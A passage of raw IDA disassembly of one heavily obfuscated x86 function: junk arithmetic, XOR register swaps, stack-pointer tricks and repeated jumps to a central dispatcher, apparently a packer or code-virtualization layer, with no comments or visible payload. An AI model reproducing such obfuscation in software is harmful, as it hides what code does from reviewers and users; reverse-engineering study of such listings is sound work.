		push	[esp-6ED6h+arg_6ED2]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	ecx, ecx
		jz	loc_58AF46
		push	2D05h
		push	7783h
		sub	esp, 4
		mov	[esp-6ED2h+arg_6ECA], esp
		add	[esp-6ED2h+arg_6ECA], 4
		pop	[esp-6ED2h+arg_6ECA]
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_58965A
; ---------------------------------------------------------------------------


loc_5868F8:				; CODE XREF: sub_581EE9+FC75j
		add	dh, 65h
		jmp	loc_58AB19
; ---------------------------------------------------------------------------


loc_586900:				; CODE XREF: sub_581EE9+EE3Dj
		mov	al, 21h
		add	bl, al
		pop	ax
		and	bl, 2
		jmp	loc_58A92A
; ---------------------------------------------------------------------------


loc_58690E:				; CODE XREF: sub_581EE9+EF5Aj
		and	eax, ebx
		mov	ebx, [esp-6ED4h+arg_6ECA+2]
		jmp	loc_5899E5
; ---------------------------------------------------------------------------


loc_586918:				; CODE XREF: sub_581EE9+ECA2j
		sub	edx, 0FFFFFFFFh
		push	edi
		mov	edi, 2DE42FD2h
		add	edx, edi
		pop	edi
		neg	edx
		push	ebp
		mov	ebp, 0
		sub	ebp, edx
		mov	edx, ebp
		pop	ebp
		jmp	loc_58CC27
; ---------------------------------------------------------------------------


loc_586936:				; DATA XREF: sub_581EE9+3B23o
		push	[esp-6ED4h+arg_6ECA+2]
		jmp	loc_58DB78
; ---------------------------------------------------------------------------


loc_58693E:				; CODE XREF: sub_581EE9+A696j
		sub	esi, 18833906h
		push	eax
		mov	eax, esi
		jmp	loc_5862FF
; ---------------------------------------------------------------------------


loc_58694C:				; CODE XREF: sub_581EE9+C27Aj
		not	esi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		neg	edi
		dec	edi
		push	esi
		mov	esi, 7EB8206Dh
		shr	esi, 5
		push	esi
		not	[esp-6EC4h+arg_6EBA+2]
		pop	esi
		or	esi, 1030698Ch
		or	esi, 29585E00h
		jmp	loc_5862D2
; ---------------------------------------------------------------------------


loc_586976:				; CODE XREF: sub_581EE9+D312j
		add	bl, dh
		pop	edx
		jmp	loc_5891BF
; ---------------------------------------------------------------------------


loc_58697E:				; CODE XREF: sub_581EE9+7A27j
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		add	ecx, 0A52DCF05h
		add	ebp, ecx
		jmp	loc_58B95C
; ---------------------------------------------------------------------------


loc_586991:				; CODE XREF: sub_581EE9+E34Ej
		add	edi, esi
		add	edi, 5314C48h
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	small 66C7h
		jmp	loc_59147C
; ---------------------------------------------------------------------------


loc_5869AF:				; CODE XREF: sub_581EE9+F583j
		push	edx
		push	4A1418F2h
		pop	edx
		neg	edx
		or	edx, 0C3F2F64h
		or	edx, 1C962704h
		sub	edx, 0BA6C77A3h
		jmp	loc_58E0DD
; ---------------------------------------------------------------------------


loc_5869CF:				; CODE XREF: sub_581EE9+4E04j
		mov	bl, 82h
		jmp	loc_588D91
; ---------------------------------------------------------------------------


loc_5869D6:				; DATA XREF: sub_581EE9+3CC3o
		mov	ax, word ptr [esp-6ECAh+arg_6EC2]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 67092B7Bh
		push	ecx
		jmp	loc_5864C3
; ---------------------------------------------------------------------------


loc_5869E9:				; CODE XREF: sub_581EE9+BDE7j
		sub	esi, 62810EDFh
		not	esi
		shr	esi, 1
		jmp	loc_58D13C
; ---------------------------------------------------------------------------


loc_5869F8:				; CODE XREF: sub_581EE9+DF99j
		push	esi
		mov	esi, 22B90245h
		add	esi, 6D2D5B7Ch
		add	esi, 25C56802h
		xor	esi, 0B5ABC5C7h
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp-6EBEh+arg_6EB6]
		jmp	loc_591822
; ---------------------------------------------------------------------------


loc_586A1B:				; CODE XREF: sub_581EE9+DD36j
		dec	edx
		dec	edx
		xor	edx, 3D8A633Bh
		push	ebx
		mov	ebx, 0C8D0F2Ch
		jmp	loc_58EC7F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EBAh+arg_6EB2]
		jmp	loc_58977C
; ---------------------------------------------------------------------------


loc_586A37:				; CODE XREF: sub_581EE9+6E0Fj
		push	[esp-6EBAh+arg_6EB2]
		push	[esp-6EB6h+arg_6EAC+2]
		pop	edx
		add	esp, 4
		sub	esp, 4
		jmp	loc_5904AF
; ---------------------------------------------------------------------------


loc_586A49:				; CODE XREF: sub_581EE9+D603j
		xchg	ebp, [esp-6EB6h+arg_6EAC+2]
		pop	esp
		mov	[esp-6EBAh+arg_6EB2], ebx
		mov	bl, dl
		mov	[edi+eax*4], bl
		mov	ebx, [esp-6EBAh+arg_6EB2]
		add	esp, 4
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586A60:				; CODE XREF: sub_581EE9+8020j
		sub	esp, 4
		mov	[esp-6EBAh+arg_6EB2], eax
		jmp	loc_5907C3
; ---------------------------------------------------------------------------


loc_586A6E:				; CODE XREF: sub_581EE9+49BCj
		mov	ecx, [esp-6ECEh+arg_6EC6]
		add	esp, 4
		pop	edx
		jmp	loc_586BAD
; ---------------------------------------------------------------------------


loc_586A7A:				; CODE XREF: sub_581EE9+DF4Fj
		xor	edx, 6548E257h
		sub	eax, 21051CB2h
		add	eax, edx
		jmp	loc_58F1CB
; ---------------------------------------------------------------------------


loc_586A8C:				; CODE XREF: sub_581EE9+CD49j
		push	ebx
		jmp	loc_58AF59
; ---------------------------------------------------------------------------


loc_586A92:				; CODE XREF: sub_581EE9+A96Aj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6ED2h+arg_6ECA]
		pop	esp
		push	edx
		mov	edx, 0F560696h
		jmp	loc_58AE39
; ---------------------------------------------------------------------------


loc_586AAD:				; CODE XREF: sub_581EE9+F1D3j
		inc	esi
		xor	esi, 796058C4h
		sub	eax, 1C2A13F4h
		sub	eax, esi
		push	edx
		push	edi
		mov	edi, 0D81668Ch
		sub	edi, 37230FCBh
		xor	edi, 8F3D53B7h
		mov	edx, edi
		pop	edi
		xor	edx, 145568BFh
		sub	edx, 59BE6038h
		shr	edx, 7
		push	ecx
		mov	ecx, 1A4323D9h
		jmp	loc_58DE61
; ---------------------------------------------------------------------------


loc_586AEB:				; CODE XREF: sub_581EE9+BD91j
		or	ecx, 79D71027h
		or	ecx, 28A598Eh
		jmp	loc_59191E
; ---------------------------------------------------------------------------


loc_586AFC:				; CODE XREF: sub_581EE9+AF92j
		add	esi, 18B17327h
		pop	eax
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_58FC24
; ---------------------------------------------------------------------------


loc_586B17:				; CODE XREF: sub_581EE9+8B8Dj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586B1C:				; CODE XREF: sub_581EE9+4E35j
		pop	esp
		jmp	loc_58BE4A
; ---------------------------------------------------------------------------


loc_586B22:				; CODE XREF: sub_581EE9+6662j
		mov	edi, esp
		jmp	loc_5894B1
; ---------------------------------------------------------------------------


loc_586B29:				; CODE XREF: sub_581EE9+54AFj
		mov	dl, 0Fh
		jmp	loc_58BD92
; ---------------------------------------------------------------------------


loc_586B30:				; CODE XREF: sub_581EE9+A800j
		mov	esp, [esp]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586B38:				; CODE XREF: sub_581EE9+799Bj
		pop	[esp-6ED2h+arg_6ECA]
		push	[esp-6ED6h+arg_6ECE]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_587FA6
; ---------------------------------------------------------------------------


loc_586B51:				; CODE XREF: sub_581EE9+C4F3j
		xor	ebp, [esp]
		pop	esp
		shl	[esp-6ED6h+arg_6ECE], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586B5E:				; CODE XREF: sub_581EE9+B2B3j
		push	edi
		jmp	loc_58D500
; ---------------------------------------------------------------------------


loc_586B64:				; DATA XREF: sub_581EE9+3CF7o
		neg	byte ptr [esp-6ECEh+arg_6EC6]
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586B6D:				; CODE XREF: sub_581EE9+40E3j
		pop	esi
		jmp	loc_58F1AF
; ---------------------------------------------------------------------------


loc_586B73:				; CODE XREF: sub_581EE9+EA0Bj
		push	edi
		mov	edi, 1
		mov	esi, edi
		push	[esp-6EC8h+arg_6EBE+2]
		pop	edi
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	ebx
		mov	ebx, 21CA456Dh
		add	ebx, 0DE35BA97h
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp-6EC4h+arg_6EBA+2]
		mov	esp, [esp-6EC4h+arg_6EBA+2]
		and	eax, esi
		push	[esp-6EC4h+arg_6EBA+2]
		pop	esi
		jmp	loc_58DC05
; ---------------------------------------------------------------------------


loc_586BAD:				; CODE XREF: sub_581EE9+4B8Cj
		push	0CF3h
		mov	[esp-6ED2h+arg_6ECA], edi
		mov	edi, esp
		push	ebp
		jmp	loc_588D32
; ---------------------------------------------------------------------------


loc_586BBD:				; DATA XREF: sub_581EE9+3D3Fo
		mov	cx, word ptr [esp-6ECEh+arg_6EC6]
		jmp	loc_586520
; ---------------------------------------------------------------------------


loc_586BC6:				; CODE XREF: sub_581EE9+F67Ej
		add	esp, 4
		push	edi
		mov	edi, 77677914h
		xor	edi, 47B6170Eh
		xor	edi, 27224167h
		xor	eax, edi
		jmp	loc_58A713
; ---------------------------------------------------------------------------
		push	[esp-6ECEh+arg_6EC6]
		mov	ecx, [esp-6ECAh+arg_6EC2]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6EC6h+arg_6EBE]
		jmp	loc_58A740
; ---------------------------------------------------------------------------


loc_586BFC:				; DATA XREF: sub_581EE9+3C53o
		lodsd
		sub	esp, 4
		mov	[esp-6EC2h+arg_6EBA], edx
		mov	edx, 5268100Ah
		add	eax, 1095A79h
		jmp	loc_591BA9
; ---------------------------------------------------------------------------


loc_586C15:				; CODE XREF: sub_581EE9+4450j
		pop	esp
		mul	cx
		push	small 7C64h
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_58F796
; ---------------------------------------------------------------------------


loc_586C29:				; CODE XREF: sub_581EE9+DDC7j
		xor	ebx, 32813FF3h
		push	ecx
		push	esi
		mov	esi, 2505D94h
		mov	ecx, esi
		pop	esi
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58F869
; ---------------------------------------------------------------------------


loc_586C41:				; DATA XREF: sub_581EE9+3CC7o
		mov	ecx, [esp-6EDCh+arg_6ED2+2]
		push	edx
		push	65C0h
		jmp	loc_587E55
; ---------------------------------------------------------------------------


loc_586C4F:				; CODE XREF: sub_581EE9+FA30j
		sub	esi, ebp
		sub	esi, 15D60C77h
		pop	ebp
		jmp	loc_58E7B9
; ---------------------------------------------------------------------------


loc_586C5D:				; CODE XREF: sub_581EE9+CE15j
		pop	esi
		jmp	loc_59156C
; ---------------------------------------------------------------------------


loc_586C63:				; CODE XREF: sub_581EE9+69ECj
		push	ebx
		push	esp
		jmp	loc_589BE6
; ---------------------------------------------------------------------------


loc_586C6A:				; CODE XREF: sub_581EE9+9049j
		push	cx
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586C72:				; CODE XREF: sub_581EE9+5DC7j
		pop	esi
		push	2FEBh
		jmp	loc_590EEA
; ---------------------------------------------------------------------------


loc_586C7D:				; CODE XREF: sub_581EE9+9060j
		mov	[esp-6ECEh+arg_6EC6], esi
		push	12C1h
		mov	[esp-6ECAh+arg_6EC2], eax
		push	esi
		jmp	loc_588DA1
; ---------------------------------------------------------------------------


loc_586C8E:				; DATA XREF: sub_581EE9+3CCFo
		mov	cx, word ptr [esp-6EC6h+arg_6EBE]
		push	5CC0h
		mov	[esp-6EC2h+arg_6EBA], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58C9E4
; ---------------------------------------------------------------------------


loc_586CA7:				; CODE XREF: sub_581EE9+6236j
		xor	edi, ebp
		xor	ebp, edi
		push	3F52h
		jmp	loc_58628B
; ---------------------------------------------------------------------------


loc_586CB5:				; CODE XREF: sub_581EE9+D23Aj
		mov	edx, [esp-6EBEh+arg_6EB6]
		add	esp, 4
		sub	bl, dh
		add	bl, 0FBh
		jmp	loc_58C28C
; ---------------------------------------------------------------------------


loc_586CC5:				; CODE XREF: sub_581EE9+EFDFj
		push	ebx
		push	ecx
		mov	cl, 5Ch
		mov	bh, cl
		pop	ecx
		push	ecx
		mov	cl, bh
		mov	dh, cl
		pop	ecx
		mov	ebx, [esp-6EBEh+arg_6EB6]
		add	esp, 4
		not	dh
		xor	dh, 0A6h
		push	eax
		mov	ah, dh
		mov	bh, ah
		mov	eax, [esp-6EBEh+arg_6EB6]
		add	esp, 4
		pop	edx
		push	ebx
		jmp	loc_5869CF
; ---------------------------------------------------------------------------


loc_586CF2:				; CODE XREF: sub_581EE9+8A98j
		xor	ecx, [esp-6EC2h+arg_6EBA]
		xor	[esp-6EC2h+arg_6EBA], ecx
		xor	ecx, [esp-6EC2h+arg_6EBA]
		pop	esp
		sub	esp, 4
		mov	[esp-6EC2h+arg_6EBA], esi
		mov	esi, esp
		jmp	loc_58E5F1
; ---------------------------------------------------------------------------


loc_586D0C:				; CODE XREF: sub_581EE9+F8B3j
		shr	eax, 1
		xor	eax, 1320A506h
		add	edx, eax
		pop	eax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586D1B:				; CODE XREF: sub_581EE9+6858j
		xchg	esi, [esp-6EC6h+arg_6EBE]
		jmp	loc_586B1C
; ---------------------------------------------------------------------------


loc_586D23:				; CODE XREF: sub_581EE9+E42Ej
		mov	ebx, 2
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp-6ECAh+arg_6EC2]
		jmp	loc_58E3D9
; ---------------------------------------------------------------------------


loc_586D33:				; CODE XREF: sub_581EE9+CA3Bj
		add	esi, 74B13F3Ah
		not	esi
		sub	esi, 7B407C3Eh
		add	edi, esi
		pop	esi
		jmp	loc_586369
; ---------------------------------------------------------------------------


loc_586D49:				; CODE XREF: sub_581EE9+767Ej
		push	[esp-6ECEh+arg_6EC6]
		pop	eax
		jmp	loc_587730
; ---------------------------------------------------------------------------


loc_586D52:				; DATA XREF: sub_581EE9+3BB7o
		lodsd
		add	eax, 36F04701h
		push	ecx
		mov	ecx, 3CA269C9h
		sub	esp, 4
		mov	[esp-6EC6h+arg_6EBE], esi
		mov	esi, 4FEC583Ah
		shr	esi, 4
		inc	esi
		xor	esi, 7F39C9EBh
		xor	ecx, esi
		pop	esi
		jmp	loc_58ED31
; ---------------------------------------------------------------------------


loc_586D7E:				; CODE XREF: sub_581EE9+84B6j
		mov	eax, 6DF622DBh
		dec	eax
		push	edx
		jmp	loc_588E3E
; ---------------------------------------------------------------------------


loc_586D8A:				; CODE XREF: sub_581EE9+9495j
		not	esi
		add	esi, 30B21943h
		or	esi, 4DF65C18h
		push	ecx
		mov	ecx, 4DE526B5h
		add	ecx, 2A3C13ABh
		add	esi, ecx
		jmp	loc_58FCBB
; ---------------------------------------------------------------------------


loc_586DAB:				; CODE XREF: sub_581EE9+BD84j
		add	esi, 4
		add	esi, 4
		jmp	loc_58ACA9
; ---------------------------------------------------------------------------


loc_586DBC:				; CODE XREF: sub_581EE9+4968j
		mov	esp, [esp-6ECAh+arg_6EC2]
		mov	cx, word ptr [esp-6ECAh+arg_6EC2]
		jmp	loc_58EA69
; ---------------------------------------------------------------------------


loc_586DC8:				; CODE XREF: sub_581EE9+FCD0j
		add	ecx, 50E7B96h
		sub	eax, ecx
		pop	ecx
		mov	edx, [esp-6ECEh+arg_6EC6]
		push	ecx
		jmp	loc_58F3D3
; ---------------------------------------------------------------------------


loc_586DDA:				; CODE XREF: sub_581EE9+D83Bj
		mov	ebx, edx
		pop	edx
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp-6ED2h+arg_6ECA]
		mov	esp, [esp-6ED2h+arg_6ECA]
		mov	word ptr [esp-6ED2h+arg_6ECA], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58728D
; ---------------------------------------------------------------------------


loc_586DF6:				; DATA XREF: sub_581EE9+3C83o
		mov	esp, [esp-6ECCh+arg_6EC2+2]
		jmp	loc_58CCE0
; ---------------------------------------------------------------------------


loc_586DFE:				; CODE XREF: sub_581EE9+8121j
		push	ebp
		mov	ebp, 258E67A1h
		add	ebp, 0DA71945Eh
		mov	ecx, ebp
		mov	ebp, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_58D457
; ---------------------------------------------------------------------------


loc_586E14:				; DATA XREF: sub_581EE9+3C27o
		mov	cx, word ptr [esp-6EC8h+arg_6EBE+2]
		push	1DDEh
		mov	[esp-6EC4h+arg_6EBA+2],	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 44C9038Eh
		and	ebx, 7C180E74h
		not	ebx
		jmp	loc_58EA0D
; ---------------------------------------------------------------------------


loc_586E40:				; CODE XREF: sub_581EE9+B85Fj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586E45:				; CODE XREF: sub_581EE9+667Cj
		push	6DB7h
		mov	[esp+0], ecx
		push	edx
		mov	dh, 0Dh
		push	ebx
		mov	bh, dh
		jmp	loc_58FFA1
; ---------------------------------------------------------------------------


loc_586E58:				; CODE XREF: sub_581EE9+BAA3j
		mov	eax, 0C1B5E189h
		sub	ebx, eax
		pop	eax
		sub	ecx, 598A7FAEh
		jmp	loc_58843B
; ---------------------------------------------------------------------------


loc_586E6B:				; CODE XREF: sub_581EE9+A874j
		mov	[esp-6EB4h+arg_6EAC], eax
		push	0A836A2Dh
		pop	eax
		xor	[esp+4], eax
		pop	eax
		jmp	loc_58B0CE
; ---------------------------------------------------------------------------


loc_586E7E:				; CODE XREF: sub_581EE9+71DDj
		push	[esp-6EB8h+arg_6EB2+2]
		jmp	loc_5907BA
; ---------------------------------------------------------------------------


loc_586E87:				; CODE XREF: sub_581EE9+82CFj
		push	ebx
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], esi
		mov	esi, 1A381982h
		mov	ebx, 3F083C9Ch
		jmp	loc_591223
; ---------------------------------------------------------------------------


loc_586E9D:				; CODE XREF: sub_581EE9+F3CEj
		mov	ebx, esp
		jmp	loc_58F7B6
; ---------------------------------------------------------------------------


loc_586EA4:				; CODE XREF: sub_581EE9+582Bj
		pop	esp
		push	ebx
		mov	bh, 0E7h
		sub	al, 0B9h
		sub	al, bh
		push	ecx
		sub	esp, 4
		mov	[esp-6EA4h+arg_6E9A+2],	eax
		jmp	loc_589010
; ---------------------------------------------------------------------------


loc_586EBB:				; CODE XREF: sub_581EE9+C7D6j
		dec	eax
		inc	eax
		and	eax, 0E2F4914h
		xor	eax, 0E798BE51h
		sub	esi, eax
		pop	eax
		mov	edi, esi
		pop	esi
		jmp	loc_58EB52
; ---------------------------------------------------------------------------


loc_586ED2:				; CODE XREF: sub_581EE9+ABB6j
		push	edx
		jmp	loc_587CB5
; ---------------------------------------------------------------------------


loc_586ED8:				; CODE XREF: sub_581EE9+B79Cj
		add	al, 0E2h
		sub	al, bh
		sub	al, 0E2h
		pop	ebx
		add	al, bl
		jmp	loc_58A5E9
; ---------------------------------------------------------------------------


loc_586EE6:				; CODE XREF: sub_581EE9+703Fj
		add	esp, 2
		xor	al, dh
		pop	edx
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], ecx
		jmp	loc_589556
; ---------------------------------------------------------------------------


loc_586EFD:				; CODE XREF: sub_581EE9+73A4j
		add	esi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_58E71E
; ---------------------------------------------------------------------------


loc_586F0B:				; CODE XREF: sub_581EE9+9C84j
		mov	esp, [esp-6EB0h+arg_6EA8]
		mov	word ptr [esp-6EB0h+arg_6EA8], ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586F17:				; CODE XREF: sub_581EE9+D160j
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp-6EB4h+arg_6EAC]
		mov	esp, [esp-6EB4h+arg_6EAC]
		mov	[esp-6EB4h+arg_6EAC], ebx
		jmp	loc_590E5E
; ---------------------------------------------------------------------------


loc_586F2B:				; CODE XREF: sub_581EE9+7233j
		sub	eax, 1353D63h
		jmp	loc_58E7F4
; ---------------------------------------------------------------------------


loc_586F35:				; CODE XREF: sub_581EE9+8EC0j
		add	ecx, 8E6319Fh
		pop	ebp
		jmp	loc_58CBF3
; ---------------------------------------------------------------------------


loc_586F41:				; DATA XREF: sub_581EE9+3BC3o
		mov	ax, [esp+0]
		push	0E2Ch
		mov	[esp-6EB4h+arg_6EAC], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5879C2
; ---------------------------------------------------------------------------


loc_586F5C:				; CODE XREF: sub_581EE9+4798j
		mov	edi, [esp-6EFEh+arg_6EF6]
		add	esp, 4
		push	eax
		push	[esp-6EFEh+arg_6EFA]
		push	[esp-6EFAh+arg_6EF0+2]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp-6EF6h+arg_6EEC+2]
		xor	[esp-6EF6h+arg_6EEC+2],	edi
		xor	edi, [esp-6EF6h+arg_6EEC+2]
		pop	esp
		pop	[esp-6EFAh+arg_6EF0+2]
		pop	esp
		push	[esp-6F02h+arg_6EFA]
		mov	eax, [esp-6EFEh+arg_6EF6]
		jmp	loc_58EDDB
; ---------------------------------------------------------------------------


loc_586F96:				; CODE XREF: sub_581EE9+AEA7j
		add	ebx, 4
		xchg	ebx, [esp-6EFEh+arg_6EF6]
		pop	esp
		push	ebp
		mov	ebp, 4C1C21E9h
		dec	ebp
		jmp	loc_58DD35
; ---------------------------------------------------------------------------


loc_586FAC:				; CODE XREF: sub_581EE9+9E72j
		pop	esi
		xor	eax, ecx
		pop	ecx
		push	2184h
		mov	[esp-6F02h+arg_6EFA], ebp
		mov	ebp, 800h
		and	eax, ebp
		push	[esp-6F02h+arg_6EFA]
		jmp	loc_58E5E9
; ---------------------------------------------------------------------------


loc_586FC7:				; CODE XREF: sub_581EE9+F2EEj
		add	ebp, edi
		push	esi
		mov	esi, 83658C2h
		add	esi, 0FFFFFFFFh
		inc	esi
		or	esi, 3A37526Ch
		jmp	loc_589AD1
; ---------------------------------------------------------------------------


loc_586FE1:				; CODE XREF: sub_581EE9+8C7Bj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EFAh+arg_6EF0+2]
		jmp	loc_588495
; ---------------------------------------------------------------------------


loc_586FF2:				; CODE XREF: sub_581EE9+C9DCj
		push	ebp
		jmp	loc_58AF1D
; ---------------------------------------------------------------------------


loc_586FF8:				; CODE XREF: sub_581EE9+DE5Fj
		mov	esp, [esp-6EF6h+arg_6EEC+2]
		inc	word ptr [esp-6EF6h+arg_6EEC+2]
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587005:				; CODE XREF: sub_581EE9+890Bj
		not	edi
		inc	edi
		jmp	loc_590507
; ---------------------------------------------------------------------------


loc_58700D:				; CODE XREF: sub_581EE9+677Fj
		mov	ebp, 0A8804AF1h
		add	ebp, 36027AB5h
		sub	ebp, esi
		sub	ebp, 36027AB5h
		jmp	loc_58FA0C
; ---------------------------------------------------------------------------


loc_587025:				; CODE XREF: sub_581EE9+A172j
		push	ebx
		mov	bl, 0EDh
		jmp	loc_588FC3
; ---------------------------------------------------------------------------


loc_58702D:				; CODE XREF: sub_581EE9+7621j
		xor	eax, edi
		jmp	loc_58CD84
; ---------------------------------------------------------------------------


loc_587034:				; CODE XREF: sub_581EE9+F78Ej
		push	ecx
		mov	ch, 4
		jmp	loc_586583
; ---------------------------------------------------------------------------


loc_58703C:				; CODE XREF: sub_581EE9+457Ej
		not	ah
		shl	ah, 7
		neg	ah
		neg	ah
		add	ah, 6Dh
		mov	dh, ah
		pop	eax
		mov	ch, dh
		mov	edx, [esp-6EFEh+arg_6EF6]
		add	esp, 4
		jmp	loc_58B6A5
; ---------------------------------------------------------------------------


loc_587058:				; CODE XREF: sub_581EE9+EEC6j
		pop	esi
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		jmp	loc_5875BF
; ---------------------------------------------------------------------------


loc_587066:				; CODE XREF: sub_581EE9+78E1j
		push	small 2974h
		jmp	loc_58AF2A
; ---------------------------------------------------------------------------


loc_58706F:				; DATA XREF: sub_581EE9+3C5Bo
		mov	ax, word ptr [esp-6F00h+arg_6EF6+2]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_58FFE3
; ---------------------------------------------------------------------------


loc_58708A:				; DATA XREF: sub_581EE9+3C0Fo
		push	dword ptr [esp]
		mov	eax, [esp-6EF4h+arg_6EEC]
		jmp	loc_58917A
; ---------------------------------------------------------------------------


loc_587095:				; CODE XREF: sub_581EE9+5D0Cj
		push	dword ptr [esp+4]
		push	[esp-6EF0h+arg_6EE8]
		pop	eax
		add	esp, 4
		pop	[esp-6EF4h+arg_6EEC]
		mov	esp, [esp]
		jmp	loc_58DE46
; ---------------------------------------------------------------------------


loc_5870AB:				; CODE XREF: sub_581EE9+9A4Ej
		mov	dl, 0C3h
		jmp	loc_590D1E
; ---------------------------------------------------------------------------


loc_5870B2:				; CODE XREF: sub_581EE9+C17Cj
		shr	edx, 1
		push	edi
		mov	edi, 272C59F8h
		shl	edi, 1
		push	0
		sub	[esp-6EF0h+arg_6EE8], edi
		pop	edi
		and	edi, 47300583h
		or	edi, 1E506D26h
		jmp	loc_58B6D1
; ---------------------------------------------------------------------------


loc_5870D6:				; CODE XREF: sub_581EE9+E049j
		mov	[esp-6EF4h+arg_6EEC], eax
		push	4B07h
		mov	[esp-6EF0h+arg_6EE8], ebx
		mov	ebx, 1C414002h
		mov	eax, ebx
		pop	ebx
		and	eax, 41D75924h
		xor	eax, 589D03ECh
		jmp	loc_58FB75
; ---------------------------------------------------------------------------


loc_5870F8:				; DATA XREF: sub_581EE9+3D33o
		mov	ax, word ptr [esp-6EF4h+arg_6EEC]
		push	115Ch
		mov	[esp-6EF0h+arg_6EE8], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6EF0h+arg_6EE8]
		jmp	loc_58BF46
; ---------------------------------------------------------------------------


loc_587117:				; CODE XREF: sub_581EE9+C398j
		shr	edi, 5
		push	ecx
		push	edx
		mov	edx, 55C8598Ch
		mov	ecx, edx
		jmp	loc_586238
; ---------------------------------------------------------------------------


loc_587128:				; CODE XREF: sub_581EE9+5A66j
		mov	ebx, 5564649h
		mov	ebp, 556464Dh
		sub	ebp, 3C387017h
		jmp	loc_58D760
; ---------------------------------------------------------------------------


loc_58713D:				; CODE XREF: sub_581EE9+A1CFj
		mov	esi, esp
		sub	esp, 4
		mov	[esp-6EE4h+arg_6EDC], ebx
		jmp	loc_58C94E
; ---------------------------------------------------------------------------


loc_58714D:				; CODE XREF: sub_581EE9+F3FCj
		push	7348h
		jmp	loc_58F128
; ---------------------------------------------------------------------------


loc_587157:				; CODE XREF: sub_581EE9+E86Bj
		neg	eax
		jmp	loc_5876CC
; ---------------------------------------------------------------------------


loc_58715E:				; CODE XREF: sub_581EE9+CF84j
		add	ecx, ebp
		pop	ebp
		push	ecx
		pop	esi
		jmp	loc_58B71F
; ---------------------------------------------------------------------------


loc_587168:				; CODE XREF: sub_581EE9+AD0Cj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6EE4h+arg_6EDC]
		pop	esp
		mov	[esp-6EE8h+arg_6EE0], esi
		push	ebx
		mov	ebx, 3E8F5E01h
		sub	esp, 4
		jmp	loc_58D345
; ---------------------------------------------------------------------------


loc_587189:				; CODE XREF: sub_581EE9+C6E0j
		mov	cx, word ptr [esp-6EE0h+arg_6ED6+2]
		push	1428h
		jmp	loc_58DD6A
; ---------------------------------------------------------------------------


loc_587197:				; CODE XREF: sub_581EE9+BCCEj
		mov	esp, [esp-6EDCh+arg_6ED2+2]
		add	word ptr [esp-6EDCh+arg_6ED2+2], ax
		pushf
		jmp	loc_58C515
; ---------------------------------------------------------------------------


loc_5871A4:				; CODE XREF: sub_581EE9+8192j
		pop	[esp-6ED8h+arg_6ECE+2]
		pop	esp
		mov	word ptr [esp-6EE0h+arg_6ED6+2], dx
		jmp	loc_58BCA2
; ---------------------------------------------------------------------------


loc_5871B1:				; CODE XREF: sub_581EE9+D77Fj
		xchg	edi, [esp-6EE0h+arg_6ED6+2]
		mov	esp, [esp-6EE0h+arg_6ED6+2]
		push	[esp-6EE0h+arg_6ED6+2]
		pop	eax
		push	1F12h
		mov	[esp-6EDCh+arg_6ED2+2],	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58D07D
; ---------------------------------------------------------------------------


loc_5871D3:				; DATA XREF: sub_581EE9+3D7Bo
		push	dword ptr [edi+40h]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5871DB:				; CODE XREF: sub_581EE9+F02Cj
		sub	al, ch
		mov	ecx, [esp-6ED4h+arg_6ECA+2]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4FE40D78h
		sub	ecx, 13FC19F5h
		push	eax
		mov	eax, 1
		add	ecx, eax
		pop	eax
